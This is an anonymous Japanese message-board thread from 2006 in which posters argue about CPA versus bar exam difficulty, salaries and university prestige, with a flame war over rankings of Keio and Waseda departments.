こんな感じで違うようです。
これで同じと感じるなら、試験勉強しないで民間行った方がよくないか?

新制度でどうなるか分からんが、現時点で待遇がいいから、人生かけて超人的な試験を受ける人がたくさんいるわけで・・・。

ちなみに俺は会計目指しますよ!
俺だって会計と司法の待遇が同じなら嬉しいんだが・・・。

457 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 06:03:54 ID:???
>>456
そのブログ、ただの馬鹿一般人が色んな業界に対して何も知らないのに適当に書いてるよな。
お前公認会計士受験生じゃないだろ。
工作員臭がプンプンしてくる。
本当に受験生で、公認会計士が弁護士より待遇が悪いと思ってるなら、ロー行けば?
新司法は会計士試験受かるより簡単なんだからな。

会計士の給料は、大体こんな感じ。
会計士補1年目・・・基本給480万、残業代込みで600万
会計士補2〜3年目・・・基本給500〜550万、残業代込み700万
公認会計士2〜3年目・・・基本給700万、残業代込み900〜1000万
公認会計士10年目・・・大手監査法人社員なら1500万円。
公認会計士15年目・・・大手監査法人代表社員なら2000万円

公認会計士2〜3年目までは大して変わらないが、それ以降は個人差が大きい。
代表社員には1億近く稼ぐのもいる。

さらに独立開業した場合、開業10年で所得3000万くらいが普通。


初年度いきなり基本給で480万もらうのは、会社員では一部の外資金融くらいなもの。
電通で320万くらいだったかな。
監査法人は福利厚生ある。
弁護士は日弁連によれば平均所得1500万のようだから、公認会計士と変わらない。



458 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 07:03:34 ID:???
27 名前: オジサン怪稽士 投稿日: 2000/04/16(日) 14:25
公認会計士の所得(収入ではない サラリーマン会計士の場合は
給与収入から給与所得控除を引いたもの 独立会計士の場合は売上から
経費を引いた金額)の話題が出ていたので、今年一月公認会計士協会が
発表した「会員の業務及び意識調査」のなかから所得部分を参考までに
掲げよう。
 調査対象会員12127人  回答者4204件 回収率34.6%
対象年 平成10年
        1000万未満  1000〜2000万  2000万円超
個人会計士   31.8%     39.8%     28.4%
監査法人勤務者 41.4%     34.1%     24.5%
 全体     37.3%     35.6%     27.1%

以上が公認会計士の所得(年収ではない)の最近の実態です。   

459 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 09:37:26 ID:???
旧司法にある程度の若さで受かれば普通に初任給1000万とからしい。データとかじゃなくて実際の話。ベテはいい事務所行けないらしいからもっと低くて、でも最低600万くらいかな。福利厚生はよくないらしい。

460 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 09:55:19 ID:???
へぇ(笑)

461 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 12:27:34 ID:???
あっそ(笑)

462 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 14:22:21 ID:???
>>457
渉外行った俺の友達は1年目からいきなり1,200万もらってたぞ。
そのかわり寝る暇無いっつってたけど。

463 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 14:30:17 ID:???
渉外とか大手の事務所に入れる弁護士なんて、東大在学中に司法合格、しかも
上位でっていう条件が必要なんじゃまいか?

464 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 14:36:33 ID:???
>>463
そいつは駅弁国立出てる。若くして受かったからだろな。

465 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 14:40:47 ID:???
卒一で早慶上智くらいまでなら余裕らしいよ。

466 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 14:53:18 ID:OgzLQerf
ま、これで医者が最強になったな バイトがでかいね。

467 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 15:35:51 ID:???
>>464
駅弁でもやっぱり神戸大や島根大くらいのところだろうな。

468 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 18:40:10 ID:???
30歳高卒
ど田舎者です
暮らしてるのは高卒の町
大卒は5流卒しかいない
もちろん大卒と高卒で給料に違いは無い

そんな環境で公認会計士試験に合格したならば
たとえ都会では低学歴だろうとなんだろうと
俺は町一番の賢者として扱われるだろう

それだけで満足

469 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 20:27:37 ID:???
>>462
弁護士の1年目というのは、公認会計士1年目に相当する。
会計士補が相当するのは司法修習生なことは当然わかってるよな。
公認会計士1年目でも、残業代をたっぷり貰い、土日も仕事をすれば、1年目でそのくらいも可能ではある。

しかしなぜ、渉外みたいな弁護士の中でも一握りなのを持ち出してくるかな。
他の弁護士は大したことないのに。


470 :一般に公正妥当と認められた名無しさん:2006/09/23(土) 22:04:54 ID:???
はいはい渉外弁護士。
http://www.geocities.jp/gakureking/l.html

471 :一般に公正妥当と認められた名無しさん:2006/09/24(日) 11:31:58 ID:???
82人→2125人にワロタ!!

ここが一番うらやましすwww

472 :一般に公正妥当と認められた名無しさん:2006/09/24(日) 11:51:15 ID:0JKpL+4H
会計士だか受験生だかしらないがアホなレスばかりだな。
だから高卒資格とレッテル貼られるんだよ。
医師や税理士のように合格者学歴発表しろよ。
低学歴が分かってしまうから公表しないだけだろ、違うか。
合格者平均が27才だってか?それまで無職なので結婚も出来んだろ。
オマイラよくこんな見返りの少ない試験受け続けるな。医師税理士には信じられん。



473 :一般に公正妥当と認められた名無しさん :2006/09/24(日) 11:58:41 ID:???
>>472
高卒クン、オイラのレス勝手にコピペしないでね^^pupu

474 :つまりこういうこと:2006/09/24(日) 13:06:04 ID:???
税理士・・・・帝国ホテル
会計士・・・・ホリデイ・イン




475 :一般に公正妥当と認められた名無しさん:2006/09/24(日) 20:08:12 ID:???
>>472
発表しとるが

476 :一般に公正妥当と認められた名無しさん:2006/09/24(日) 20:08:26 ID:???
税理士のレスは論理的に破綻してて知性の欠片もないからよくわかるなあ。

477 :一般に公正妥当と認められた名無しさん:2006/09/24(日) 20:32:38 ID:???
>>396=>>466=>>472なんじゃね

478 :一般に公正妥当と認められた名無しさん:2006/09/28(木) 17:17:14 ID:???
国2、地上狙うより会計士の方が簡単だし狙い目かも
http://school5.2ch.net/test/read.cgi/govexam/1156512187/l50

479 :一般に公正妥当と認められた名無しさん :2006/09/28(木) 19:55:27 ID:???
>>478
このバカ(厨房)会計板じゃかなわないもんだから化石のようなコピペ使って
こんなとこ遠征で煽りやってるよ(藁

480 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 17:53:54 ID:???


481 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 18:24:11 ID:???
みんな監査法人をあがめてるようだけど、あれって単なる契約社員でしょ
ITに勤めてるPGだけど、正社員より契約社員のほうが20パーセントくらい
高い収入稼ぐのは当たり前。ちなみに個人契約で外部ベンダーとして
現場にはいれば、1000万プレーヤも普通にいる。保証が薄い分報酬が高いのは
当たり前だと思うが。都銀とかで正社員として700万くらいコンスタントに
稼ぐほうが会計士になるよりよくないかって疑問に感じるんだけど。

482 :一般に公正妥当と認められた名無しさん :2006/10/09(月) 19:17:36 ID:???
ITに勤めてるPGだけど

↑ なんでそんな人がここにいるのでつか
そしてなんで監査法人のような特殊な世界知ってるのでつか(笑

483 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 19:21:16 ID:???
都銀で700万てどこの支店長ですか?

484 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 19:39:55 ID:???
会計は業務系やってる限り知識として絶対避けて通れないから、向学のため
勉強してるだけ。監査法人のような特殊な世界←何が特殊なの?
会計士の実務つめる以外は何のメリットもないように感じるのだけど。
そこでの高収入がいかに保障されて持続するのか知りたいものだと思って。


485 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 20:13:58 ID:???
監査法人ってのは合名会社だから
利益を仲間内で分配出来るところが高収入の秘訣なんじゃね?

486 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 21:09:49 ID:???
>>481
>みんな監査法人をあがめてるようだけど

なんだ、要するに会計士コンプ野郎か。
とっとと税理士スレに(・∀・)カエレ!!

487 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 22:13:02 ID:???
376 名前:氏名黙秘 投稿日:2006/10/09(月) 18:26 ID:???
会計士の仕事に失望して司試の勉強をしてる人は結構いる。
エキサイティングじゃないんだな。会計士って。
企業からは舐められてるし、その割りに近年はリスク増大だし。

488 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 22:42:18 ID:???
信頼と実績の資格学校の最高位TACの事実を語るランキング

弁護士難易度:特A+
弁理士難易度:特A+
司法書士難易度:特A+
税理士 難易度:特A+
公認会計士 難易度:特A−
社会保険労務士 難易度:A+
不動産鑑定士 難易度:A+
行政書士 難易度:A
中小企業診断士 難易度:A
情報処理・シスアド 難易度:シスアド…A〜B、基本情報技術者…B、ソフトウェア開発…A
宅地建物取引主任者 難易度:B
DCプランナー 難易度:B
証券アナリスト 難易度:A
ファイナンシャルプランナー(FP) 難易度:A〜C
公務員(警察官・消防官) 難易度:B
米国公認会計士 難易度:A〜B
簿記検定 難易度:A〜C
建設業経理事務士 難易度:A〜C
証券外務員 難易度:B〜C
ビジネス実務法務検定 難易度:A〜C
パソコン財務会計主任者 難易度:B〜C
マンション管理士/管理業務主任者 難易度:B
経営財務プロ養成講座 難易度:AA〜B
基礎から学べるファイナンスコース 難易度:B
簿記検定 難易度:A〜C
公務員 難易度:A

税理士なりたきゃ会計士試験を受けろw

489 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 22:46:14 ID:???
引っ込め、税理士!w

490 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 22:48:36 ID:???
会計士 新制度になってランクさげられたのかorz

491 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 23:39:58 ID:???
>>488
どこにそんなランクあった?

492 :一般に公正妥当と認められた名無しさん :2006/10/10(火) 06:38:54 ID:/moUm7hY
>>488
デタラメな改ざんしてるよw
普通そこまでするか?しかもTACの固有名詞まで出して

493 :一般に公正妥当と認められた名無しさん :2006/10/10(火) 10:22:12 ID:???
>>488
姑息な手段を使わざるを得ない税理士受験生哀れなり〜い
お前コソ泥みたいでみっともないからもっと他の手段使って楽しくやれよ
なんちゅーか税理士受験生の悲壮感が漂ってるぞ

494 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 13:15:02 ID:???
低学歴な香具師に限ってこういうランキング好きだよな

495 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 20:47:59 ID:???
超難関国家試験といわれる公認会計士試験ですが、実際にはどれほど難しいもの
なのでしょうか?結論としては、比較的難しいが誰でも合格可能な試験といえます。
よく比較されるのが、弁護士や裁判官になるための司法試験です。
公認会計士試験は司法試験に次いで難しいといわれます。
しかし、両試験は比較の対象にならないほど難易度に開きがあります。むしろ税理士
試験や司法書士試験、弁理士試験の方が難易度的には難しいとさえいわれています。
 司法試験は、試験で出題される全科目全論点を理解した受験生の数が、合格者
数を上回ります。つまり、受験予備校のレジュメをすべて理解・暗記して試験
に臨む受験生同士の激しいバトルです。模擬試験で合格レベルに達している受
験生でも、当日の出題内容によっては不合格となることが珍しくありません。
それに対して、公認会計士試験は、試験で出題される科目について、7割程度の
理解で十分合格できる試験です。受験予備校のレジュメを100%理解・暗記でき
ていなくても、十分合格圏内に入ります。全論点の80%〜90%程度を理解して
いれば、本番での出題傾向がどうなろうと、試験当日の体調が多少優れなくとも合
格します。実際に、公認会計士試験については半年程度の独学で合格した人で、そ
の後司法試験には合格するまでに4年間を要したという方がいらっしゃいます。
聞けば、「司法試験は公認会計士試験とは比べ物にならないほど難しい。公
認会計士試験は楽だった」ということです。


496 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 20:52:14 ID:???
司法試験に匹敵するなどとおもったこともないしw

497 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 20:57:33 ID:???
会計士半年で司法試験4年だとしたら、在学中に司法試験合格する
(オウムの青山元弁護士みたいな)人が会計士試験受けたら2ヶ月
ぐらいで合格しちゃうのかな?俺の簿記2級といっしょだorz

498 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 01:34:06 ID:31EXdBvy
日本の公認会計士はUSCPA以下だって言われてますよ。

★★【CIA】公認内部監査人【国際資格】★★
http://school5.2ch.net/test/read.cgi/exam/1110777000/l50

851 名前: 一般に公正妥当と認められた名無しさん 投稿日: 2006/10/07(土) 12:01:13 ID:8wtZTJ5D
クレアール堀江教授、CIAを語る。

公認資格っていうのが最近ありまして、怪しげなCIAっていう、名称CIA
なんていうと、あれはいないんだけど。CIA、公認内部監査人と言うん
ですよ。どこぞの予備校でも、あのね、これは1回目の試験は英語で
してね、それで、この1回目にね試験委員っていうとおおげさですけど、
翻訳委員になってくれって言われてね、英語の問題を日本語に直して
受けられるようにしたんだけど、日本にないものがあるんだよね、コント
ローラーとかね、あれが、もー、どーやりゃーいいかとね、日本にない
組織とかね、日本にない職責とかね、あれ、法律なんかもそのまま使
えないでしょ。ですからね、あーの、もうややっこしいからね、1回で辞
めたけどね。冗談じゃないやってらんないよね。
あーの、公認内部監査人と言うんですけども、なんか予備校でやって
るよ。資格、最近、なんか流行ってるらしいわ。はい。会計士取ったらど
うですか?あのー、はい。余興で。はい。一週間ばっかりやりゃ受かん
じゃない?

499 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 01:34:38 ID:31EXdBvy
852 名前: 一般に公正妥当と認められた名無しさん 投稿日: 2006/10/08(日) 01:22:04 ID:tfqffeo4
>>851
そういうおまいが会計士でもとったら?
あんなもん10日もありゃ取れんだろ?


500 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 01:35:38 ID:31EXdBvy
853 名前: 一般に公正妥当と認められた名無しさん 投稿日: 2006/10/08(日) 16:56:17 ID:FTO25OH5
>>851
CIA自体は(米国では)まっとうな資格ですよ。
最大の問題点は、「日本語に翻訳して日本語で受けられるようにした点」でしょ。

確かに、米国と日本の実務双方にある程度精通していて、ある程度の英語力が
がないと、まともな翻訳なんてできないわけだし。
(ちなみに、コントローラーとか日本でも普通にいるし。別に特殊な役職でもないけど。
(その方、コントローラーがどういう仕事をしているのか、そもそもご存じないのかな?)

もっとも、実務知識も英語力もある人自体は少ないですから、翻訳委員を探すのも大変でしょうね。
それに、試験問題の翻訳なんて極めて割の合わない仕事なんか真っ先に断りますから。
だって、(折角)日本語に訳してあげて少しでも翻訳に不適切な箇所があると、
「翻訳が酷くて問題の意味が分からない(から落ちた。)」なんてクレームが
来るわけですから。

教訓:米国の試験なのだから、受けるんだったら英語で受けましょう。

501 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 01:36:11 ID:31EXdBvy
856 名前: 一般に公正妥当と認められた名無しさん 投稿日: 2006/10/10(火) 08:55:05 ID:uLdirWrE
理論的にはUSCPAのほうがJCPAを超えている。いつの時代もそうだ。
アメリカ人はパイオニア精神が旺盛な国民性も関係している。
世の中の変化に素早く対応する。デリバテイブ会計なんか見ると
ほんとにそう思う。時価会計では日本はもう計算が追い付けない
ほどの差が出来てしまっている。計算書類の書式でもそうだ、
日本じゃまだ包括利益計算書や株主持分計算書さえ出来ていない。
だから、一歩先を見たい者にとってはUSCPAのほうが役に立つ。
こんなところで会計学を論じてもしょうがないが、CIAの受験生の
数は半端じゃない。年2回の試験に大量の日本人が押し寄せている。
この種の資格が日本には無いからだ。だからUSCPAでも
日本で受験できたら大量の受験者が押し寄せるだろう。

502 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 01:50:17 ID:???
>>497
それありえない。二ヶ月で簿記1級も厳しいと思う。
会計士半年で受かるような人間は司法も1年くらいで
受かる人間。実例があるから。その替わり、飯、睡眠、歯磨き、
風呂などの時間以外、ずっと勉強するようなライフスタイルを
送っている。

503 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 02:01:38 ID:???
会計士は会計学が恐ろしく難しいからな。
単一の科目でみたら、旧司法の試験科目以上だろう。

他の科目は確かに簡単。
平均すると、司法が2倍くらい難しいのは事実らしい。

504 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 12:00:02 ID:???
旧司法は難しくて残酷だな。
ろーすーくーるは難しいイメージないけど。

505 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 15:31:54 ID:???
Low schoolだからさ

506 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 18:47:44 ID:???
>>502>>503
簿記関連初学者が論文受験に必要な会計学を一通りさらっとこなすだけでも、半年以上かかるよなぁ。
3級レベルなら3日で到達できるだろうが、2級レベルなら1ヶ月はかかる。
1級になれば量的な問題で商業簿記分野だけでも2級から3ヶ月以上かかる。
平行して理論もやるとしたら、会計学を半年でマスターする奴は神レベルの速読術を持ってないと無理だな。

さらに監査論・企業法・選択科目に関しては授業を聞くだけで論文合格レベル(インプット作業だけでアウトプット作業までマスターできる偉人)に達しでもしないと、半年合格は無理だ。

507 :一般に公正妥当と認められた名無しさん:2006/10/16(月) 07:44:33 ID:Oa80GGga
みんな勉強好きだな〜
人気ランキのベスト20ぐらいには入る会社にいたけど弁や会その気になればいけそうなのわりといたな。でも会社の仕事も面白いってやってるよっ

508 :一般に公正妥当と認められた名無しさん:2006/10/16(月) 10:43:42 ID:???
ここでいうのは旧司法試験ということね、念のため。
ちなみに、旧試験は今年1.5%程度の合格率になるよ。

509 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 01:41:06 ID:???
>>506
実際半年くらいの勉強で受かった人いるよ。
独学じゃなくて予備校には通ったみたいだけどね。

1年で合格した竿だけ屋もやっぱスクール通い?司法試験だと独学で
1年くらいで受かる宇宙人もいるらしい。基本書と東大の授業を
繰り返し復習するだけ。
会計学はアウトプットのテクニックがいるから独学だけじゃ難しい
んだろうな。

510 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 01:42:21 ID:???
その人は東大法学部卒だったから、簿記は0から始めたの
ではないかと思う。

511 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 02:39:32 ID:mu/UyvsV
>>509
会計士半年合格の話は聞いたことがある。
実際、不可能ではないと思う。まあ、そんな人は旧司法試験も1年かからないのだろうけど。
でも、会計士2ヶ月は無理。2ヶ月で受かるっていうのは、頭がいいを通り越して、精神障害ではないだろうか。
一度読んだだけで暗記できるとかじゃないと。講義を見るだけで、2ヶ月なんて終わりそう。

512 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 03:25:25 ID:???
会計士を半年で合格した人が今までに1人かそこらいただけで
一般化できてしまうおまいらに乾杯。

513 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 05:49:56 ID:???
一般化してねーよ。
とりあえず「いた」と言ってるだけ。人間の能力の
範囲内で可能かどうか?
と問えば可能ということ。しかし大多数の人間には不可能。

514 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 06:21:45 ID:???
今までまったく勉強してこなかった奴が
半年で東大目指すようなもんだから普通は無理でしょ

515 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 00:28:22 ID:mcwsS/J5
公認会計士の仕事は何なのよ?

516 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 01:39:57 ID:ZB4EbIT6
今後も

社会的地位

弁護士、検察官、裁判官>>>>>>>>>>>>会計士

は間違いなし。

会計士>>>弁護士
となる時は絶対ない。



517 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 07:03:05 ID:???
>>516
今年度からすでに公認会計士>>弁護士となりましたが?

518 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 13:25:33 ID:???
俺は両方になりすましてナンパとかしてるけど明らかに弁護士の方が女受けはいいよ

519 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 13:47:27 ID:CShGe/uC
>>518
まあ、そうだろうな。
でも、今後、人数が増えていくと・・・

今では
公認会計士>>>>不動産鑑定士>>>>>>>鉄壁>>>>司法試験
になってしまった。
(不動産鑑定士は今年は異常に難しかったようだ)

520 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 13:48:01 ID:CShGe/uC
>>519は試験の難易度な

521 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 14:56:10 ID:???
知名度は低くても、もうすでに日本での最難関資格は公認会計士。

522 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 16:06:02 ID:???
中卒でも取れる資格が最難関か日本終わったな

523 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 16:19:56 ID:???
予備校にもバカ面多いし低学歴も多いけどな。

524 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 18:09:07 ID:???
綾小路きみまろの息子は灘→東大理三だが

アフォ悪徳税理士の息子は30過ぎても万年受験生でこんな風に2ちゃんカキコ




525 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 19:03:26 ID:???
そもそも、このスレッドでは税理士なんて相手にされてない。

526 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 05:39:05 ID:9Efy6Npz
弁護士になって何をやりたいか
会計士になって何をやりたいか
それが大事

527 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 08:04:38 ID:???
最難関資格というブランドも大事

528 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 09:16:29 ID:???
でも実際旧帝早計の上層部の学生は会計士なんか受験しない罠


529 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 11:36:52 ID:???
地底(笑)

530 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 11:45:22 ID:???
勉強で点数がとれるのと、金が稼げるのは別物。
受験システムに乗って大企業に行ったりや資格をとったりしても大した給料になりません。
今は中卒の社長が、ベンチャー上場させて数百億を稼ぐ時代ですよ〜。

531 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 13:31:07 ID:???
例外中の例外持ち出してきても説得力に欠ける

532 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 18:22:37 ID:Al5wD5Px
>>528
今までは理Vの学生が趣味で司法試験を受験していたのに、
ロースクールになって、受験しなくなったと。

上位層は司法試験から撤退しだしているよ。
だからといって会計士にくるわけじゃないが。


533 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 18:26:18 ID:???
>>528
会計士は上層部が受験してますよ。
税理士とは全然違うのでその辺忘れずに。

534 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 18:53:02 ID:???
一橋とかはともかく慶応や早稲田は商学部って時点で下位だろ

535 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 20:05:10 ID:???
>>534
私は慶応経済です。
そんな君はどこ大の何学部ですか?

536 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 20:25:31 ID:???
早稲田の俺がマジレスするとだな
基本的にローが一番人気
会計士はそれなりって感じ
極まれに税理士志望の奴がいる

>>534
あなたはどこの大学ですか?

537 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 20:30:02 ID:???
>>534
自分の大学も学部も言えないのに、他人の大学をけなすなんて最低だな。

538 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 20:35:32 ID:???
>>534
これ書いたのもお前だろ

221 :一般に公正妥当と認められた名無しさん :2006/10/18(水) 23:56:53 ID:02ukxuni
早慶の商学部とか、普通に早慶いけない馬鹿が入るところだろ


539 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 21:05:10 ID:???
>>534
どこ大?

540 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 21:10:54 ID:???
>>534
で、何大学を出たの?

541 :534:2006/11/01(水) 21:23:08 ID:???
俺は慶応の法学部法律学科です。ちなみに221書いたのは俺じゃありません。

542 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 21:28:17 ID:???
>>541
で、何目指してるの?
上位学部は会計士目指さないんでしょ?

543 :541:2006/11/01(水) 21:32:24 ID:???
》542 会計士目指してますよ。早稲田も慶応も商学部が偏差値的には下の方だとは言ったけど上位学部が会計士目指さないなんて言ってませんが…。そんなに悪気があったわけでもないんです。気分を害してしまってすみません。

544 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 21:37:05 ID:???
>>543
>慶応や早稲田は商学部って時点で下位だろ

そんな下位が多く目指すところにわざわざ上位から受けに来るなんてね。
Mですか?それとも上位の中の底辺なんですか?


545 :543:2006/11/01(水) 21:42:16 ID:???
俺は商学部が下位だと言っただけで会計士試験を低く見るつもりはないし自分の選んだ道を人にとやかく言われる筋合いはないですよ。法学部の中じゃ底辺かもしれないですね。

546 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 21:45:54 ID:???

おまいの言い訳には無理があるわ。
じゃ慶応や早稲田は商学部って時点で下位だろ っていうのは何を意図して
言ったんだよ。
単に下位だWWって叫びたかっただけか?

547 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 21:53:21 ID:???
大体会話の流れから>>534は会計士のこと見くびってるだろ?
しかも慶応法とか嘘くせーし。

548 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 21:53:52 ID:???
早慶上位層が会計士を受けるという533のレスを受けてです。少なくとも学部のランクだけを見ればそんなことはないんじゃないかというただの反論です。

549 :534:2006/11/01(水) 21:57:46 ID:???
みくびってなんかないですよ。慶応法学部なのが嘘だと思うならキャンパスのこととか適当に質問してくださいな。どうせ嘘つくなら東大にでもしますって

550 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 21:58:03 ID:???
>会計士試験を低く見るつもりはないしと
>会計士試験は早慶下位が受けている
って確実に矛盾してるな。


551 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:05:56 ID:???
まあそう言われれば旧司法試験よりは下にみてるかもしれないですね。でも甘い試験じゃないことは十分わかっています。てかホントのこと言われたからってそこまでムキにならないでください

552 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:09:05 ID:???
論理的に説明も出来ない奴にムキになるなと言われてもね…。

553 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:13:30 ID:???
会計士なんて中途半端な資格に必死になるなよ

554 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:14:30 ID:???
波平だったか。やはりな。

555 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:16:59 ID:???
なんで会計士になろうと思ったの?

556 :534:2006/11/01(水) 22:17:13 ID:???
俺からすればあんたの方が十分論理性に欠けますけどね。まあ下とかどっちでもいいけど、学歴にコンプレックス持ってるみたいだからそのコンプレックスを克服するには俺より早く受かることですな。

557 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:19:09 ID:???
>>556
はぁ?どこが論理矛盾なの?
学歴コンプ?別にありませんが?

558 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:21:44 ID:???
落ち着けよ

559 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:27:06 ID:???
なんで会計士になろうと思ったの?

560 :534:2006/11/01(水) 22:28:06 ID:???
帰宅。
もう矛盾とかめんどくさいからどうでもいいけどなんでそんな必死になるんですか?
はっきり言って見苦しいですよ。

561 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:30:28 ID:???
法学部も十分見苦しい

てか発端はおまえだろ

562 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:35:38 ID:???
会計士資格を馬鹿にするのは波平のみと思ったが法学部も馬鹿にするんだな
で 法学部はなんで会計士めざしてるの?

563 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:38:14 ID:RjShGbGT
慶應上位から波平でつか?

564 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:39:13 ID:???
私は会計士なんて目指してないが

なんで質問を質問で返すの? >>波平さん

565 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:42:18 ID:???
確か合格者は慶応商より慶応経済の方が多いんじゃなかったっけ?
ソースは失念したが。

566 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:44:15 ID:RjShGbGT
虚言癖過ぎて会話になってないみたいでつね
波平はボケなんだから体大切にね

567 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:45:26 ID:???
発作が始まったの? >>波平さん

568 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 22:50:49 ID:???
法学部は今度は会計士を目指してないと言ってるな
何が一体言いたいんだ?

569 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 23:02:34 ID:???
法学部=税理士受験生
これでいいじゃまいか!
会計士にオマケといわれて悔しかったのだよ

570 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 23:04:40 ID:???
ここで東北大学大学院修士課程修了のおれがきましたよ。

>>534が全部悪い

571 :534:2006/11/01(水) 23:37:50 ID:???
目指してないなんて一言も言ってないけど、明らかに時間の無駄なんで書き込むの最後にするわ。俺が全部悪いってことでいいっすよ。んじゃ

572 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 01:01:22 ID:???
分かればいいんだよ。
法学部くん。

573 :一般に公正妥当と認められた名無しさん:2006/11/02(木) 15:48:27 ID:???
さすがに弁護士だけは越えられない壁が存在しているよう思われる

574 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 00:16:19 ID:???
試験制度がガラリと変わったんだ
今後じわじわ変化が起こってくるよ

575 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 01:04:25 ID:???
今年度だけだろ、司法が易しいの。母集団が増えていく上、ローに合格しなければ不可能。
制度改革により恩恵を受けやすいのは、会計士試験。

576 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 14:29:44 ID:mp2yFyJp
あなたが病院で「殺される」しくみ、CT被ばく

577 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 15:08:14 ID:???
でも、会計士受験生だったら、新司法試験よりも公認会計士試験のほうが難しいって
誰でも思っているだろ?


578 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 15:38:40 ID:???
思ってない。

579 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 17:52:17 ID:???
>>578
司法試験受験生乙
このスレッドは司法試験板から、常に監視しているもんなw
(司法試験板にリンクが貼られている)

今回の合格率で新司法試験は馬鹿にされてるよ。
誰でも合格できるんじゃないか?ってね。

公認会計士どころか、今年合格率が3%だった不動産鑑定士よりも簡単なんじゃないの?新司法試験。
旧司法試験は誰もが最難関だとは思っているけどな。

580 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 18:03:19 ID:???
弁護士&公認会計士のダブルライセンスだけど、独立してIT関連の法律会計事務所を開く予定。
がっぽりいきますよ。

581 :一般に公正妥当と認められた名無しさん:2006/11/04(土) 18:20:13 ID:???
>>580
そんなことより吉野屋が5日までだぞ。貧乏人、速く食え

